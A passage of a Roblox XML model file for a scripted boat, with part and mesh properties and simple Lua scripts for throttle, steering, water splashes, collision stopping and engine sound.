							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-219</X>
								<Y>0.5</Y>
								<Z>289</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>-0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Stabilizer</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">0</float>
							<float name="TopParamB">0</float>
							<token name="TopSurface">6</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="CylinderMesh" referent="RBX2700">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX2701">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">Stabilizer</string>
								<float name="P">200</float>
								<CoordinateFrame name="cframe">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<Vector3 name="maxTorque">
									<X>8.99999949e+009</X>
									<Y>0</Y>
									<Z>8.99999949e+009</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Script" referent="RBX2702">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">BoatScript</string>
							<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
engine = script.Parent.Base
position = engine.Velocity

function SplashF()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,-16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

function SplashB()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

while true do

---------------------------------Throttle

	if VS.Throttle == 1 then
		if VS.MaxSpeed &lt; 60 then
			VS.MaxSpeed = VS.MaxSpeed + VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == -1 then
		if VS.MaxSpeed &gt; -25 then
			VS.MaxSpeed = VS.MaxSpeed - VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == 0 then
		if VS.MaxSpeed &gt;= 1 then
			--VS.MaxSpeed = VS.MaxSpeed - VS.Torque
			SplashF()
		elseif VS.MaxSpeed &lt;= -1 then
			--VS.MaxSpeed = VS.MaxSpeed + VS.Torque
			SplashB()
		end
	end

---------------------------------Steering

	if VS.Steer == 1 then 
		if VS.TurnSpeed &gt; -0.14 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
	elseif VS.Steer == -1 then 
		if VS.TurnSpeed &lt; 0.14 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		end
	elseif VS.Steer == 0 then 
		if VS.TurnSpeed &lt; 0 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		elseif VS.TurnSpeed &gt; 0 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
		if VS.TurnSpeed &lt;= 0.2 and VS.TurnSpeed &gt;= -0.2 then
			VS.TurnSpeed = 0
		end
	end

---------------------------------Application

	bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
	bin.Base.BV.velocity = bin.Base.CFrame.lookVector * VS.MaxSpeed

	wait(0.2)
end

--(C) 2009 Terran Research Commission
</ProtectedString>
						</Properties>
						<Item class="Script" referent="RBX2703">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">true</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">WaterScript</string>
								<ProtectedString name="Source">wait(0.2)
script.Parent.Transparency = 0.5
script.Parent.Mesh.Scale = Vector3.new(       18,	3.8,	22	)
wait(0.2)
script.Parent.Transparency = 0.6
script.Parent.Mesh.Scale = Vector3.new(       22,	3.6,	28	)
wait(0.2)
script.Parent.Transparency = 0.7
script.Parent.Mesh.Scale = Vector3.new(       26,	3.4,	34	)
wait(0.2)
script.Parent.Transparency = 0.8
script.Parent.Mesh.Scale = Vector3.new(       30,	3.2,	40	)
wait(0.2)
script.Parent.Transparency = 0.9
script.Parent.Mesh.Scale = Vector3.new(       34,	3,	46	)
wait(0.2)
script.Parent:remove()
</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2704">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">23</int>
							<CoordinateFrame name="CFrame">
								<X>-219</X>
								<Y>1.5</Y>
								<Z>295</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>-1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Tip</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2705">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX2706">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">StopScript</string>
								<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2707">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-219</X>
								<Y>1.50000012</Y>
								<Z>289</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Base</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>4</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX2708">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Sound" referent="RBX2709">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">true</bool>
								<string name="Name">Engine</string>
								<float name="Pitch">6</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><url>http://www.roblox.com/asset/?id=13510352</url></Content>
								<float name="Volume">1</float>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX2710">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">EngineScript</string>
								<ProtectedString name="Source">function OnF()
	script.Parent.Engine.Pitch = (script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function OnB()
	script.Parent.Engine.Pitch = -(script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function Off()
	script.Parent.Engine:stop()
end

function Check()
	if script.Parent.Parent.VehicleSeat.MaxSpeed &gt; 0 then
		OnF()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed &lt; 0 then
		OnB()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed == 0 then
		Off()
	end
end

script.Parent.Parent.VehicleSeat.Changed:connect(Check)
</ProtectedString>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX2711">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">BG</string>
								<float name="P">3000</float>
								<CoordinateFrame name="cframe">
									<X>-2</X>
									<Y>6.4000001</Y>
									<Z>1004</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<Vector3 name="maxTorque">
									<X>0</X>
									<Y>400000</Y>
									<Z>0</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyVelocity" referent="RBX2712">
							<Properties>
								<bool name="Archivable">true</bool>
								<string name="Name">BV</string>
								<float name="P">1250</float>
								<Vector3 name="maxForce">
									<X>1000000</X>
									<Y>0</Y>
									<Z>1000000</Z>
								</Vector3>
								<Vector3 name="velocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyPosition" referent="RBX2713">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">1250</float>
								<string name="Name">Hover</string>
								<float name="P">10000</float>
								<Vector3 name="maxForce">
									<X>0</X>
									<Y>INF</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="position">
									<X>0</X>
									<Y>1</Y>
									<Z>0</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2714">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-219</X>
								<Y>1.50000024</Y>
								<Z>283.5</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">RearTip</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>3</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX2715">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX2716">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">StopScript</string>
								<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2717">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-219</X>
								<Y>0.500000238</Y>
								<Z>284</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>-0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Stabilizer</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">0</float>
							<float name="TopParamB">0</float>
							<token name="TopSurface">6</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="CylinderMesh" referent="RBX2718">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX2719">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">Stabilizer</string>
								<float name="P">200</float>
								<CoordinateFrame name="cframe">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<Vector3 name="maxTorque">
									<X>8.99999949e+009</X>
									<Y>0</Y>
									<Z>8.99999949e+009</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Model" referent="RBX2720">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">BodyKit</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Part" referent="RBX2721">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">2</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">23</int>
								<CoordinateFrame name="CFrame">
									<X>-216.5</X>
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								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">2</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">2</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>2</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
							<Item class="CylinderMesh" referent="RBX2782">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="Bevel">0</float>
									<float name="Bevel Roundness">0</float>
									<float name="Bulge">0</float>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>2.20000005</Y>
										<Z>0.200000003</Z>
									</Vector3>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="VehicleSeat" referent="RBX2783">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1003</int>
							<CoordinateFrame name="CFrame">
								<X>-219</X>
								<Y>2.10000014</Y>
								<Z>286.5</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<bool name="HeadsUpDisplay">true</bool>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<float name="MaxSpeed">0</float>
							<string name="Name">VehicleSeat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<int name="Steer">0</int>
							<int name="Throttle">0</int>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Torque">1</float>
							<float name="Transparency">0</float>
							<float name="TurnSpeed">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX2784">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>-0.300000012</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>0.400000006</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX2785">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-226</X>
					<Y>3.79999948</Y>
					<Z>288</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
